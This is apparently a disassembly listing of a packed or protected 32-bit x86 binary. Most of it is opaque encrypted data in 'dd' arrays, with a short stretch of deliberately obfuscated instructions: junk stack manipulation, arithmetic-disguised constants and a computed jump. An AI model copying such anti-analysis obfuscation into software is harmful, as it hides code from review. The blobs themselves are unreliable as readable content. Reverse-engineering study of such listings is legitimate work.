dd 84A2D805h, 0F7497116h, 39830253h, 684A69ACh, 6F5877D5h
dd 0A91D10EBh, 59836F88h, 1B1DBF95h, 3E64727Ah, 604261EBh
dd 53B283D1h, 0DC6DDD6Fh, 78B433BDh, 99B61571h, 8B1675AEh
dd 0CC148EC2h, 756DE03Dh, 0F164A910h, 79F56E6Ch, 2FF7D299h
dd 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h
dd 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh
dd 6392BD86h, 16B6D3E7h, 0BDC579B0h, 0E4C3E06Ch, 9DB51571h
dd 8C01DE10h, 109DB512h, 11DBBADBh, 6D527552h, 4DBA4352h
dd 76D08166h, 3F109DECh, 71C416DEh, 6848ADBh, 1D6CBD75h
dd 0E167FC8Bh, 0E4C1E180h, 1571E4C3h, 0DE109DECh, 0EC54CEBFh
dd 3488109Dh, 79C64716h, 0F5F41F4Eh, 22436A87h, 0E6F65085h
dd 5EBF109Dh, 0D80ECE96h, 7B6A341h, 8C000000h, 1D2C4h
dd 0E0C26A00h, 4BBA0250h, 109DB4D0h, 2C8BFBE6h, 0BC9A240Bh
dd 6A2E6872h, 84FF2362h, 0F5181685h, 0A84F9D6h, 0D30A8580h
dd 0A2D2AB2h, 5DF9A725h, 0DF8AA10h, 2CEED57Fh, 3C1EA6CDh
dd 1E04A3A9h, 0E76DFC89h, 7563756h, 3A203E86h, 0B794A5A7h
dd 0CC46B798h, 950A8544h, 44850170h, 0CF4E0A85h, 10B0B905h
dd 81A90657h, 8724457Bh, 7654FB56h, 0C41C410h, 79F6559Bh
dd 13D8F5B4h, 4A000006h, 567C5AFCh, 466C4A04h, 587A58F2h
dd 47694907h, 497C5AFAh, 1C3885E6h, 64C9CBEh, 1B2D82A8h
dd 84495BBh, 4FBEA1AAh, 16B6D4D3h, 0BDD9859Ch, 6D51E06Ch
dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0DFA341EAh, 0C1118D00h
dd 0BBDA109Dh, 7EA31h, 0C4500000h, 0FBh, 0B517706Ah, 342D109Dh
dd 0E9491F8Ch, 3B5A5A74h, 6C03B39Ch, 2A76D005h, 0DE3F109Eh
dd 1C8DDF9h, 4F6B9AB7h, 5816856Bh, 1FB49635h, 90B29F29h
dd 89AF0F3Dh, 0E7451438h, 3278402h, 9569EB6h, 766279D4h
dd 8EC34210h, 79F66327h, 67607D2Ch, 0F6000005h, 0EAD0EE68h
dd 0F2D8F658h, 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h
dd 0BA98280Ah, 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B6D67Fh
dd 0BD6DD148h, 57B3226Ch, 20109DB5h, 89CD9CFDh, 3D451438h
dd 398C36D3h, 5917B313h, 3BA341EAh, 0B988C817h, 10099058h
dd 2D000000h, 0B6D9DDC2h, 5CDA823Fh, 414994h, 0C2E50000h
dd 6FFE4CE0h, 21B4A62Eh, 3AAB8C2Bh, 109DB4E0h, 92C79EA9h
dd 0AC5BC3Dh, 0C002616Bh, 0DD8EDF6Dh, 0DB6E2495h, 51301AAEh
dd 4EFC5072h, 8569EFFh, 0C0DD0027h, 3DC1A52Fh, 2CA8B3h
dd 0BD060000h, 7251E06Ch, 0A43024Dh, 32A6395Ah, 80EBD6E3h
dd 0BF4E96F7h, 109DC55Eh, 0CE3F203Fh, 109DC554h, 96F0F81Dh
dd 70DC6D25h, 6CBDF852h, 50DFC3E0h, 8D03100h, 4587A59h
dd 27427E46h, 0B4F26CA1h, 5ABB109Dh, 97BB9C3Bh, 0DA3B0A4Ah
dd 0A37F7312h, 15781684h, 94B699B6h, 0FF5B0A40h, 300A849Eh
dd 0AC36AAE6h, 0E4293613h, 0E567FADCh, 0F94FE4C6h, 0B19F2968h
dd 4EB5AB94h, 329CF667h, 20650A84h, 53EF837Bh, 56F64789h
dd 0C0A907h, 0F20950F7h, 1AB9D8AAh, 6B8864EBh, 0EF1E4110h
dd 46B8573h, 8BFAD93Ch, 46B850Fh, 0F7D4B5D8h, 0F062F2D8h
dd 80D17BCEh, 4495B701h, 3588AA08h, 0FFEA4617h, 49CCBBC1h
dd 0F9981732h, 0CB6EABDAh, 56B70A5Bh, 0DBE37C23h, 0E3FEAD73h
dd 3E2h, 4767EF7Bh, 5D7DD161h, 4161E97Bh, 2280D05Fh, 3A3B100h
dd 5FEE1F10h, 65F3D5F5h, 58EBCDEDh, 5DF0D2F0h, 0DD02CFEFh
dd 0B6D72EA8h, 0C0A2F716h, 1670E5C2h, 4A109DB5h, 0BF0857F9h
dd 0ACDCC328h, 717B1AC8h, 607ECE5Fh, 0D465E77Ah, 5CED5FF2h
dd 0F39F1CB6h, 70CCEA62h, 0A34172A0h, 2D08h, 0BEA32E00h
dd 0A77AEBC8h, 60168EFBh, 27BC9E3Dh, 0F6528121h, 2E0A8A65h
dd 2F11B19Bh, 280FAC9Ch, 0C0D4BD34h, 17D61E20h, 3553Ah
dd 0BEA39800h, 537AEBC8h, 24168EAFh, 9B78D203h, 0DC410A8Ah
dd 27365714h, 0ABBA9223h, 7741BA38h, 46B71472h, 107B94FFh
dd 0C09D3D60h, 3504469Ah, 0B9B00CD4h, 8184DE0Fh, 0C84D0477h
dd 81207AEBh, 0A4E90477h, 4E77E6C5h, 1F0A687Bh, 6751CD40h
dd 0FB1AFE64h, 401174F1h, 53E2AFFEh, 0F49D283Bh, 4223F1A3h
dd 0B3F8CCF3h, 0B0AD320h, 86AC0B6Ah, 4A045633h, 6AFB9AFBh
dd 0E42A12Bh, 9AC067E4h, 81BD0749h, 4CC11E68h, 4553105h
dd 0A1872766h, 0B89F3C10h, 4A6422A4h, 0A1408818h, 62400C9Dh
dd 6C4B3B26h, 41ABBCF9h, 71C045FEh, 3DA68200h, 1CADD9F2h
dd 0DE1420F0h, 4CE0C242h, 29AFF6FEh, 93000000h, 0EBC8BEA3h
dd 0D3FF39C4h, 5E66B664h, 7E0D0C81h, 0BFDE168Fh, 6DFF5FAEh
dd 0BC560A8Bh, 535F1D3Fh, 0A4075AACh, 5B000000h, 51E06CBDh
dd 5774E06Dh, 4356D170h, 747C215Ah, 0BCF1D6F5h, 58774CA6h
dd 0EA7B5D67h, 5EEFD362h, 269DD0EEh, 8E109DF9h, 53FD4E3Bh
dd 1BAE9432h, 0DD042031h, 96F751E6h, 0C959C439h, 8302168Eh
dd 88FEE323h, 3040BA2Bh, 0C4491075h, 0DE76C3E7h, 0C98BDA00h
dd 0F935F194h, 825F0E79h, 20Ah, 6F4F0753h, 7555F949h, 69490153h
dd 7A58F847h, 6B4B0958h, 4796F738h, 3D8BAD0Dh, 4093B515h
dd 3588AA08h, 0A5AAB717h, 0B6D8D630h, 0D88A9F16h, 0C6E470BDh
dd 0DCFB51E4h, 0B5108AFBh, 0B4D9109Dh, 0A3942E2Ch, 0CCEBC8BEh
dd 6754ADE3h, 622B3DE9h, 69CBAE8Eh, 0F0446607h, 12F3925Ah
dd 0E3168EBBh, 0E46293A2h, 200A8AAAh, 4E70C18Fh, 0FD0554FEh
dd 0F94CF693h, 5FAB3253h, 1CF2C2EAh, 0E15A5AADh, 7D000000h
dd 7E460255h, 226CBDE4h, 9DB557B3h, 0DEFD2010h, 9DB533AFh
dd 0F899FC10h, 7CD86569h, 0B1279CEDh, 3E8F109Dh, 0AB8FB00Eh
dd 0E223321Ah, 0E765F8DAh, 770F5A56h, 80B82558h, 0EED1168Eh
dd 8A7F237Fh, 2A9EC0Ah, 0EAD5BA37h, 83E0E87Eh, 7D64A402h
dd 5E3BAA09h, 27107474h, 4FE1C9E6h, 0A12B6AFBh, 153F8EB4h
dd 2C3691B6h, 0BE9114E6h, 23072836h, 0EE1FBC94h, 4748574h
dd 0BE10D83Dh, 0BC8E226Fh, 9E07A8DDh, 591079F8h, 0F97Ch
dd 80D66400h, 0A0AE0022h, 0BE8C2002h, 0A7A93A20h, 0C0942107h
dd 0F7CB3E2h, 0E3492C2h, 143694BEh, 72989BFh, 2B3896B6h
dd 0DA55B124h, 0B1E16B6h, 0E470BD57h, 0FB51E4C6h, 814AF3DCh
dd 1CF4F8C6h, 8126D2B8h, 6B753261h, 0FE6F506Dh, 109E5EA4h
dd 36A0286Dh, 1B9EDDC2h, 0FDDE1766h, 389FD533h, 15DF75F7h
dd 0E91C72C3h, 109DD06Dh, 0A7B6D736h, 0E47712A3h, 0D5B4D564h
dd 10B0B9F5h, 2F4734D5h, 0D9F69793h, 851C1BA4h, 0CC9D0016h
dd 0B515378Ah, 0F5474293h, 0B0973455h, 41BEF84Eh, 94539D6Bh
dd 0E4B68E65h, 68E27653h, 0E965F5D9h, 17C27358h, 50E0763Eh
dd 0FF693FFh, 0C1C033Ch, 0CEDBF407h, 0C686D7FBh, 4BF794FEh
dd 4D7552FAh, 57854FFBh, 1AA9E071h, 0C9065736h, 514DBBDEh
dd 6244DC8Eh, 5F717BCDh, 9BB180D0h, 972AD871h
dd 0A23315B5h, 3BE9BAAh, 24000000h, 71BDE17Bh, 0DF7254E5h
dd 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h
dd 9B2D1120h, 2ABC9EAFh, 51221524h, 0C181E189h, 4, 4E981h
dd 0C870000h, 0C895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h
dd 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h
dd 0B8505524h, 5E4C699Fh, 0D158C589h, 0A8F581EDh, 81421E54h
dd 9114C9C5h, 4E5C11Bh, 8106EDC1h, 2B4A6AF5h, 5DEF8904h
dd 241C8B54h, 4C481h, 45680000h, 89000057h, 2C81243Ch
dd 4A5DF924h, 8438F45h, 0F9084381h, 8B454A5Dh, 8951241Ch
dd 4C181E1h, 83000000h, 0C8704C1h, 34FF5C24h, 0C4815F24h
dd 4, 0FA59F3E9h, 2884E3FFh, 0EC796D27h, 286C5D56h, 26C5B87Fh
dd 0C5030619h, 1703E0FFh, 62254Fh, 322D15EBh, 4DED41CBh
dd 886816ACh, 0A0D136AEh, 0F033B7Eh, 0E88A099Eh, 29BE4004h
dd 388B257Ch, 679D5AB0h, 17E749E2h, 0D05E0E8Eh, 68FB0FE5h
dd 43093210h, 0DA6E4977h, 2CEF6181h, 62C424D9h, 1A1F5B87h
dd 0BC8A4D0Bh, 25B2403Ah, 0F18E5h, 0C8CE4BC6h, 9B787C30h
dd 0DF7E0160h, 1F22E8Ah, 0AC632941h, 48635E7h, 8D8D66B0h
dd 61928ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 0DBC35747h, 8D8933BAh, 6131BBDh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 28C35040h, 67B21201h
dd 18DD85C7h, 61B80613h, 81660000h, 0C7F290F6h, 13305585h
dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0FFB2481h, 0B5FFD7B7h, 6131139h
dd 0FFF3BF0Fh, 131D8995h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F38B6606h
dd 95FF006Ah, 6130DA9h, 6EEBC08Bh, 4C9FDFB9h, 203155BEh
dd 337FC039h, 969A592Eh, 0FD15C4Ah, 0E297BAF7h, 0ADA083C8h
dd 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 67E84A7Ah
dd 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah, 2648D83Bh
dd 773F93FCh, 63F9BB9Dh, 0DDB4EC57h, 0A0668F43h, 8080E576h
dd 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h
dd 6E931ACh, 90000000h, 189B7Bh, 57CE900h, 61ED0000h, 63F3D5F5h
dd 53E5CBEBh, 62F1D7F7h, 5BEAD0EEh, 45EAD9F9h, 1BBB9928h
dd 0BABA735h, 18B69225h, 0DAD9F32h, 70EA1B44h, 3916B6DEh
dd 6CBD7EE0h, 72C38F1Dh, 6A557213h, 0DC8F3C81h, 7FEEF6B2h
dd 68460E5Bh, 7E5DEF42h, 0F243095Ch, 0F26A0D5h, 0AEEF109Eh
dd 0F45CEBCFh, 8597DECh, 81D1F544h, 2DC9EECDh, 4372EBA4h
dd 5A0D5C64h, 5EEFA318h, 55EAD0EEh, 5AEDD3F3h, 0ED7B5FEEh
dd 0CDDC36A7h, 9DA5109Dh, 3E5F3E0Ah, 42B7392Fh, 0AD0D3B90h
dd 43123A8Bh, 67A11B04h, 45AF956Bh, 0E58D0C7Bh, 8C06109Dh
dd 0D36248EFh, 0D19F3781h, 79A341DBh, 4Ah, 0E06CBDDDh
dd 0CE4D7251h, 0A4A83956h, 884F7495h, 0B7A4232h, 109DD28Dh
dd 0C9F38802h, 0A341F40Bh, 1B3h, 6DBD8700h, 0DC6E50E1h
dd 50DFE372h, 2E7FA300h, 6CE4F1Eh, 0D7EF467h, 69490555h
dd 77D1664Ch, 72DA6B6Dh, 70BDF654h, 547655E4h, 9AFB4A00h
dd 0A0AE0052h, 321EAD91h, 0BF8F1F23h, 9425ADAEh, 3ACF39A1h
dd 3612A58Dh, 0FCDEE627h, 0DFC8E76Dh, 3D92657Eh, 3917A12Ah
dd 0ADA7361Ch, 0E6A03123h, 1D931A6Dh, 0FFDCBDB5h, 8D31ADE0h
dd 9BFA109Eh, 1CB09251h, 0A93B1F2Eh, 1CAE90A1h, 0C0E22332h
dd 82CA1B6Ch, 147E52E3h, 0CB478E77h, 305E0E2Eh, 1A40A341h
dd 0E53C84C6h, 7Ah, 0E470BD79h, 6BDF7155h, 7AD4664Ch, 0C322AAEBh
dd 0B969E210h, 0A48B282Ch, 0BFB86260h, 9FBD07CDh, 0F26CA1BEh
dd 0BB109E73h, 0F140925Ah, 5FF0D263h, 80F5D2F1h, 109E7406h
dd 153D8BCFh, 1CA4C544h, 0D16AA4CDh, 4157FDABh, 5B65A3h
dd 0BDF90000h, 7155E470h, 0F7DB6ADEh, 7658E969h, 5DB6AE4h
dd 0A407EE8Bh, 0AD295C7Bh, 0E1109DB4h, 2C6DFC50h, 9CF6FE1Fh
dd 6EE6731Fh, 6DBDF250h, 4F7350E1h, 4FED87FDh, 0FB80E32Fh
dd 824ACB9Ah, 9DC48203h, 0FA8FFB10h, 41FA02D2h, 92C3E4A3h
dd 109DD138h, 0CD549C01h, 1, 99DDC271h, 1DB27F16h, 45E8F2Ch
dd 0CD109DE4h, 0FA4E8048h, 6CBD0150h, 0E06D51E0h, 0E45530AEh
dd 0F2933B33h, 95F16463h, 5E109E96h, 64E9B3Fh, 0DD6EA437h
dd 219AD4E8h, 0AA245976h, 73109E96h, 3488CA12h, 0B897B816h
dd 9E96C945h, 69739210h, 5572144Dh, 8F933120h, 92A3E216h
dd 0DD6C1DB0h, 0C6A7E677h, 0DD6FC2E8h, 909FFD8Ch, 88D70A8Bh
dd 65579C8h, 2A68FB4Ah, 0DC03A491h, 5CED67F6h, 90940E7Fh
dd 385D0A8Bh, 84F58F59h, 0F2D17BCEh, 0AD280D0h, 0F953E6CCh
dd 0B6D36668h, 9EF86D25h, 670A8B90h, 17264726h, 0BA68E16Fh
dd 2D852527h, 5AAC366Fh, 148D7h, 0BEA36B00h, 377AEBC8h
dd 0D0168EBCh, 0F8DFFC4Dh, 0EF6CB9ACh, 0C315DFB6h, 0DBFCDA72h
dd 0ECE414F4h, 0AD37F5A7h, 0DF6F1AABh, 0DEBFDE6Fh, 52FA4B8Fh
dd 0A7235275h, 700A8A1Fh, 1337892Dh, 6AF9C342h, 0DD9526A4h
dd 85A2004Ch, 7C44109Dh, 0AD8114E4h, 66BC5Ah, 0C2A20000h
dd 0B51670E5h, 0F84A109Dh, 3C840956h, 3C9BE700h, 624C2DC9h
dd 5E81A66Fh, 0E919AE4Bh, 5FBE2BB5h, 1D237F0Eh, 6B25909Eh
dd 0B40129CEh, 0BECFDDAh, 3253B683h, 0DEDAE223h, 80A20181h
dd 0BC992331h, 6265AD49h, 0B30426EFh, 0BC87CC9Dh, 26576095h
dd 29C60E6Fh, 52E3C7E4h, 0CBAAAA37h, 8EF4D301h, 5A000000h
dd 0EBC8BEA3h, 8EA18F7Ah, 73C2E816h, 0B8AD7E1h, 0A7351D3Ah
dd 9E2F21ABh, 0B2F10AEh, 0C4E96BEh, 26A0D5B9h, 0EF0A8AA1h
dd 0CAF0CFAEh, 786D779h, 7CDF2EBDh, 0BD0A8AA1h, 5BEEA415h
dd 5BF0D2F1h, 0B9F5E3EDh, 84F9D6B0h, 10718929h, 7D228DB2h
dd 5FEE5AEDh, 5445993Eh, 3E409ACBh, 84090471h, 96B584E5h
dd 0A42C22B4h, 1C2D1FB2h, 96A7A93Ah, 1F2E24B4h, 40F28709h
dd 0B0D160EEh, 0F891FBD1h, 6E4D3930h, 5826C2FFh, 0ECCA4B0Ah
dd 5DDC24Eh, 0C00A0B26h, 0E10834BCh, 912406A5h, 84A5AABBh
dd 909A7C44h, 0B29F2948h, 84D9E643h, 1F2E6F16h, 87C91A40h
dd 82CA1B3Dh, 0DEABFE24h, 0D362034Dh, 6F59BA2h, 81FA7808h
dd 0EECC80D1h, 600D79CCh, 6AF7A87Bh, 0ABAFBEDFh, 6CE0711Ch
dd 8089AE0Dh, 1A3283ABh, 466588B5h, 0C4F9EF7Eh, 601872E3h
dd 0BCE1EC02h, 0B161DA34h, 0B18E2C20h, 60035F8Eh, 49CCEC02h
dd 8DFC4D7Fh, 0C041103Ch, 11B590A1h, 19000000h, 351E0C2h
dd 61ECD332h, 2339AB4Fh, 31EB1FA9h, 54E571BDh, 0DC6DDF72h
dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh
dd 9EAF9B2Dh, 15242ABCh
db 22h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
sub ebp, esi
pop esi
xchg ebp, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
push 76E3h
mov [esp], eax
push 3774h
mov [esp], esi
mov esi, 24D83F87h
dec esi
sub esi, 1EBF1656h
mov ebp, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push edx
mov edx, 8
add edx, 3B153A9h
add edx, eax
sub edx, 3B153A9h
mov [edx], ebp
pop edx
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
shl byte ptr [ebp-4A18753Eh], 0B8h
or ebp, [esi]
sbb [esi], eax
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 47h
dd 3F35320Ch, 1B580291h, 5126F98Dh, 821961FBh, 171D1D0Eh
dd 6D573468h, 6909C573h, 563D509h, 0A37476D1h, 982C808Bh
dd 84353DAh, 4F3F9809h, 0E86EBC1Eh, 10h, 0F1483958h, 87037CF7h
dd 0FFE8327Bh, 43D59978h, 0BE665AF8h, 0C2812D62h, 6185h
dd 0E8FF2BF5h, 5, 0DA761F0h, 6820FD4h, 81000000h, 11A7E3D6h
dd 34FF5B60h, 0D9816617h, 8058A246h, 0E881C6EBh, 2CEB0208h
dd 6938C081h, 0C08113B0h, 7697F011h, 50C88B66h, 8FCE8B66h
dd 6E83A04h, 0AB000000h, 0F855FFBBh, 81BB66E1h, 8B0F5EF7h
dd 6, 5B91DB81h, 0EF837F41h, 10E804h, 0F7C50000h, 255CDEF0h
dd 0B67E54B4h, 0B1790802h, 5EF9F8CDh, 9F40FF81h, 850FFFFFh
dd 0Dh, 24E9h, 7E0AF000h, 32062AACh, 0B5BB6685h, 0FF80E9B1h
dd 0DC5FFFFFh, 0F333B286h, 9FD838C9h, 6AF5828Fh, 0AC61272Ch
dd 18CE9B7h, 57010000h, 2C276F21h, 98D31AD5h, 0D1D746B1h
dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h
dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
dd 97000000h, 33A26D84h, 0EE69F0h, 3 dup(0)
dd 47E90000h, 68000010h, 619335Eh, 0FB1633E9h, 346A68FFh
dd 29E90619h, 68FFFB16h, 61935EFh, 0FB161FE9h, 36B868FFh
dd 15E90619h, 68FFFB16h, 61937E4h, 0FB160BE9h, 38AF68FFh
dd 1E90619h, 68FFFB16h, 6193982h, 0FB15F7E9h, 39FD68FFh
dd 0EDE90619h, 68FFFB15h, 6193AD8h, 0FB15E3E9h, 3B5D68FFh
dd 0D9E90619h, 68FFFB15h, 6193C3Dh, 0FB15CFE9h, 3CD968FFh
dd 0C5E90619h, 68FFFB15h, 6193D86h, 0FB15BBE9h, 3ECF68FFh
dd 0B1E90619h, 68FFFB15h, 6193FF8h, 0FB15A7E9h, 2F805AFFh
dd 0E3CC2151h, 347795FDh, 0E7C8264Eh, 376889F9h, 6BE15549h
dd 0BBA71986h, 41318F1Ch, 0F39F01AAh, 922C9615h, 0D9EA5EEEh
dd 0E5E2428Dh, 4A617798h, 0A1FD96CEh, 0EF1E8DD9h, 44E0040Eh
dd 40DA4DBEh, 44678113h, 6D6ABA5Eh, 208B6143h, 0A51DC104h
dd 94F7B325h, 91578944h, 51DC6687h, 0E9D265E5h, 76A83EA1h
dd 0E1D93F3Dh, 1AB7BD79h, 0D0F5189Fh, 0B1F78439h, 326D9400h
dd 915A0081h, 212A106Fh, 0CB7902B1h, 504848h, 0FBFD0000h
dd 118E5FE3h, 35D5D82Bh, 44940FC3h, 0B74187B9h, 9581ACB6h
dd 0A15A0EF5h, 9CAFC3Eh, 79520D73h, 89EC0BBDh, 456E3C6Fh
dd 7FF3B84Fh, 490416Eh, 0B220C3E8h, 321887A9h, 1ABD5529h
dd 0DE2C835Bh, 0B743D535h, 48CB4A08h, 0EB4Eh, 61770700h
dd 0D6FB894Ah, 5C7C08C9h, 6EB6A24Fh, 24F7B32Fh, 0B4E0FACFh
dd 0E0CB2154h, 0AEC4B82Ah, 0EE44944Dh, 4BF662EAh, 84C64494h
dd 0F1BA1E76h, 0A605E38Fh, 7DA8B26Dh, 7D1EF199h, 0CAFC3EA1h
dd 46CE164Eh, 55EA6B08h, 0F6905DC3h, 2FD7BB3Bh, 0BD7951C5h
dd 0EA0171B3h, 0E75F37C1h, 0C74DFBE4h, 6EDA7266h, 6EB74CF8h
dd 19F12289h, 41C15789h, 547D2EC9h, 4CC43476h, 6088FAA5h
dd 68E01DF0h, 0B74CF8FCh, 0A3509ACCh, 3D2ABB67h, 7E153E96h
dd 0E6B9187Ch, 1A650E5h, 1F9A8571h, 0D7Ch, 87A35D5h, 542E815Ch
dd 1DFCC20h, 50327D91h, 0E2BD24h, 13BE5ED0h, 896E168Ch
dd 37D4C022h, 82660E74h, 6125B729h, 8DDB7FE9h, 35604D42h
dd 5B455A77h, 5EDAD127h, 0E866D27Ah, 14564494h, 346C9C06h
dd 0BCD3D4BFh, 75607A43h, 56F17FBh, 0F34494E8h, 0A60111B1h
dd 0B9D38DCBh, 13344E1Fh, 641226BEh, 9E9A5059h, 0A193372Eh
dd 1ED3153Eh, 79E936AEh, 3E0B33BDh, 0CBF13FCEh, 5DEDE948h
dd 0BD79E5EBh, 199269E1h, 0D6C749CFh, 0BF000000h, 0C3F0BF4Fh
dd 0FBE2F107h, 0C38BADE3h, 7B7D2B19h, 29EAC117h, 0A869369Bh
dd 0CED130A0h, 7CAAC04Ch, 82664494h, 2DCBB729h, 7CC83CCCh
dd 7EC04494h, 0CE58874Ch, 7853F363h, 0F23EA14Ah, 0C430CAB2h
dd 5F79E81Fh, 6175E123h, 79447FE9h, 0FD1B4DBDh, 0F5304AA3h
dd 0EA778901h, 4385C74Dh, 0F9C3BD3h, 941BF2E2h, 0DB5DAB5Fh
dd 0F1AE53BBh, 0A1FEE38Fh, 11C7728h, 0E6E3CC71h, 0C70h
dd 3CA609E1h, 88FAB548h, 35AB00DCh, 0A4FEB14Dh, 348E11F0h
dd 0EF128A7Ch, 45A2D2B0h, 0F3087C66h, 3E9ACAB8h, 0D5B9136Dh
dd 8DDCC335h, 81CCB942h, 314AE3FBh, 0BB436F26h, 94DED94Bh
dd 3B6DAF44h, 138C759Dh, 8823C5ADh, 0C3E80090h, 0CC3CBC0Eh
dd 4494DE58h, 0B6ECEE30h, 4A61770Fh, 0CEDDFB89h, 9B14EA6Ah
dd 2BE8C717h, 2FD749CFh, 3D35CBEFh, 0F407496Dh, 6E7F1B7h
dd 0C545B17Ch, 3EA1D10Ah, 2AE15C84h, 9C717A1h, 79161781h
dd 65A3E5BDh, 0C4ED2FD3h, 791650C8h, 0E4ED4DBDh, 0CB0E4574h
dd 640948h, 0D2BA0000h, 0D179DD48h, 3EA1F566h, 0EBE11254h
dd 0BD780375h, 2D01CA70h, 337A129h, 8D05BD78h, 708A406Bh
dd 0CA07FD0Ch, 38A148h, 0FB720000h, 690A07E3h, 4CCE5334h
dd 2A0E1923h, 0A18343A2h, 527FC13Eh, 79B7C23Ah, 9939DFBDh
dd 50AA6738h, 0B7F460E8h, 82C4BD79h, 6DDDE678h, 48CBAF5Eh
dd 704h, 3D6CD100h, 45000008h, 4AA748D2h, 32DFCC1Fh, 29E112D8h
dd 38CF77DFh, 0BA3EABD9h, 0EE87306Ah, 0D761F3ABh, 95FDF92Bh
dd 1A4A3873h, 8909EDBEh, 41793A75h, 0FB859AB7h, 1840C830h
dd 0E8C74DD7h, 0EF086180h, 5C3F7BCh, 3CBCEECCh, 0AD4134D4h
dd 0AADAC802h, 7BB45D4Eh, 80F494E1h, 78B7580Fh, 0F4948446h
dd 0CD6D2FC1h, 54E41F37h, 3660E204h, 3AF774h, 7CA76AE3h
dd 0AEBFDh, 2B846600h, 7F30CDB5h, 109B7121h, 832CC2B2h
dd 138C751Dh, 8F0D01ADh, 1F532D72h, 95FDE3C8h, 174B3576h
dd 0E6F8EAC1h, 0DD3EAA22h, 210E428Dh, 0E9096FF4h, 0D8624494h
dd 0E9EDE94Dh, 6B17F761h, 7437D5BBh, 0E02CAEF0h, 0C1542759h
dd 328BF527h, 7119FD28h, 0C74D1752h, 2AAA8ED0h, 1303DDCEh
dd 771D87FFh, 77FB759h, 0B759779Dh, 0F729396Bh, 5457B1E1h
dd 89F6909Fh, 59779701h, 0E52365B7h, 6A0BE171h, 24CD1B94h
dd 504454E6h, 4E8328C0h, 0C6049B46h, 5E98D834h, 6698CD66h
dd 258662F2h, 7A31C7BBh, 87DF4339h, 0A142920h, 5E7371Fh
dd 96C113E7h, 9333E3F5h, 5315C838h, 3CDFEC1Eh, 0A9E4CA37h
dd 0A220B7Eh, 0DB2F0000h, 6786EED4h, 0D22A5A48h, 637BE7D9h
dd 0C32E564Ch, 44BAE6DCh, 0C7629C8h, 0B62C7F58h, 247E2DCEh
dd 0AD139870h, 65CF771Fh, 53428DDEh, 48D22F56h, 905EA8F7h
dd 4E8C573Eh, 8CB894EFh, 141ACA00h, 897BEAE0h, 87D73F89h
dd 963240A6h, 3C5CDEEAh, 0AB6775CCh, 3D9B133Eh, 4D6E8D88h
dd 0D1173133h, 6AA00BE1h, 298266EEh, 37A1292Dh, 5BD73E5h
dd 77EB35C3h, 56894A61h, 55F561CCh, 0C74CD5CAh, 4CB85044h
dd 3CB75935h, 5294F00Ah, 218A6EE6h, 7635D3BFh, 8D98A23Dh
dd 8FFA79A9h, 6EA3F042h, 6FE7218Ah, 59656DD7h, 0F295BB7h
dd 4D097F07h, 0C5F7CD66h, 8427C151h, 815AFA1Eh, 711E92Ah
dd 0E9086D8Bh, 0BBDFDB6h, 39D242C6h, 0B5DC48C0h, 7AACA920h
dd 0FA62AA30h, 35A920B5h, 7018002Bh, 0D31F9DE5h, 0ED65D113h
dd 18876A0Bh, 6DE91FDBh, 6DA609E5h, 1AE5758Dh, 0E31B8B2Fh
dd 4197CB55h, 0EC76A96Ah, 9635D541h, 94D93098h, 0F48EA152h
dd 664DBD39h, 0B8DF23EAh, 4EECBF18h, 26F774B6h, 0BB589814h
dd 8F6F990h, 7F5B0000h, 0CB225230h, 7696FEE4h, 0C7174B35h
dd 678AFAE8h, 0E0564A38h, 0A81A856Ch, 32901BBCh, 0A002A942h
dd 299714F4h, 0E95BEB93h, 0DF428DDFh, 61779BE2h, 0DDFB894Ah
dd 0EAA825CEh, 3C6F89E1h, 0F0F70646h, 79BB126h, 68000000h
dd 4D66Ch, 0E3FB4500h, 0AC995A7h, 81A23885h, 95B3EBBFh
dd 0D361FBE4h, 11F057DFh, 6C9EFD14h, 7687A1CEh, 62D6148Bh
dd 0A13C93EAh, 4F2F713Eh, 0AD17AFA3h, 9BBD795Dh, 16D4DB33h
dd 0C6E8804h, 7B05E877h, 41C048B0h, 3F18400Bh, 0CC44D4FDh
dd 74797F2Ch, 0BDF359EAh, 0BA4B0889h, 4B8008F0h, 491E5120h
dd 0A04128C9h, 0D32FC9FFh, 0CB2DA591h, 769202E0h, 0C6733435h
dd 1F0897E0h, 82BAAh, 0EBC42600h, 3F708DF5h, 0D0DB3161h
dd 436C82F2h, 0D3CC355Dh, 0CF4DC1EDh, 5F136D32h, 0D5BD2388h
